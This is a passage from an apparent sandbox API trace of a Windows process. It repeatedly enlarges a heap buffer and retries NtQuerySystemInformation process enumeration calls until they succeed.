returned 0xc0000004 [0206.536] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.536] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.536] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.536] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.537] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.537] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.537] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.537] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.538] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0206.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.538] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0206.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.539] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.657] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.657] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.657] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.657] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.657] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.658] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.658] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.658] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.658] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.659] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.659] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.659] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.659] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.660] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.660] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.660] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.661] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.661] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.661] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.661] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.661] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.661] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.662] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.662] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.662] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0206.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0206.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.663] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0206.664] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.664] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.785] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.788] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.789] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.790] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0206.790] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.791] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0206.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.792] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0206.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0206.947] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0206.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0206.947] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0206.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0206.947] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0206.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0206.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0206.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0206.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0206.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0206.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.948] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0206.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.949] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0206.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.949] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0206.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.949] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0206.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.950] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0206.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.950] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0206.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.950] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0206.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.951] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0206.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.951] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0206.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.951] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0206.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.952] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0206.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.952] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0206.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.952] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0206.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.953] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0206.953] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.953] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0206.953] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.953] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0206.953] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.954] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0206.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.954] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0206.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0206.954] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0206.955] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0206.955] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0207.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0207.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0207.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0207.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0207.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0207.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0207.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, 